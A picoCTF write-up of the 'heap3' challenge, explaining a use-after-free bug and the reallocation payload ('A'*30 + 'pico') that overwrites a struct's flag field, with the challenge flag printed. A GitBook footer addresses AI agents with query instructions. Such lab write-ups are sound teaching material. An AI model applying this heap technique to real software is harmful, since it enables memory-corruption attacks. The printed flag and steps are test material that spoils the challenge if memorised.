> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/heap3.md).
# heap3
This challenge demonstrates a **Use After Free (UAF)** vulnerability. At the start, the program allocates a heap object using a struct:
```c
typedef struct {
char a[10];
char b[10];
char c[10];
char flag[5];
} object;
```
All these fields are stored inside a single heap chunk. The important part is that the `flag` field is inside the same memory region, so if we can overwrite this chunk, we can also control the value of `flag`.
When the program runs, it first allocates memory for `x` inside `init()`. Then it gives us a menu:
```
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
```
The vulnerability appears when we choose option `5`:
```
Enter your choice: 5
```
This executes:
```c
free(x);
```
Even after freeing the memory, the program does NOT set `x = NULL`, which means the pointer still points to freed memory. This is the core Use After Free bug.
After this, we choose option `2` to allocate memory again:
```
Enter your choice: 2
Size of object allocation: 35
Data for flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
```
Here, even though we enter `35`, the heap internally rounds it to a valid chunk size (usually 48 bytes). Because of heap reuse, this new allocation can occupy the same memory that was previously used by `x`.
Now the key idea is struct layout. Inside the chunk:
```
a[10] → first 10 bytes
b[10] → next 10 bytes
c[10] → next 10 bytes
flag[5] → final 5 bytes (starts at offset 30)
```
So the offset to `flag` is:
```
10 + 10 + 10 = 30 bytes
```
That means if we send:
```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
```
We are writing:
```
"A" * 30 + "pico"
```
This overwrites the `flag` field in memory.
We can confirm it using:
```
Enter your choice: 1
```
Output:
```
[*] Address -> Value
[*] 0x36db42ce -> pico
```
Now the final step is to trigger the win condition:
```
Enter your choice: 4
```
This runs:
```c
if(!strcmp(x->flag, "pico"))
```
Since we successfully changed `x->flag` to `"pico"`, the condition becomes true and the program prints:
```
YOU WIN!!11!!
picoCTF{now_thats_free_real_estate_a7381726}
```
***
#### Summary of exploitation flow:
```
5 → free(x)
2 → allocate new chunk
input → "A"*30 + "pico"
4 → trigger win check
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/heap3.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.